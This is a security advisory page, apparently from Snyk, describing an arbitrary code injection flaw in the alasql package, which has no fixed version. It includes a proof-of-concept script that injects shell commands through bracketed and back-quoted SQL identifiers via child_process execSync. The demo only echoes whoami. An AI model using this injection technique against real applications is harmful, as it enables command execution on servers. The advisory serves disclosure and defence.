Arbitrary Code Injection Affecting org.webjars.bower:alasql package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

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  • Snyk IDSNYK-JAVA-ORGWEBJARSBOWER-1082933
  • published5 Mar 2021
  • disclosed5 Mar 2021
  • creditUnknown

Introduced: 5 Mar 2021

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.bower:alasql.

Overview

org.webjars.bower:alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.

POC

const alasql = require('alasql');

const genPayload = command => new Function( 'return this.process.mainModule.require' )()('child_process').execSync(${JSON.stringify(command)});

res = alasql( // Initialize the database 'CREATE table i_am_a_table;' + INSERT INTO i_am_a_table VALUES (1337); +

// Code injection in four different ways
`UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
`SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
`SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
`SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`

);

CVSS Scores

version 3.1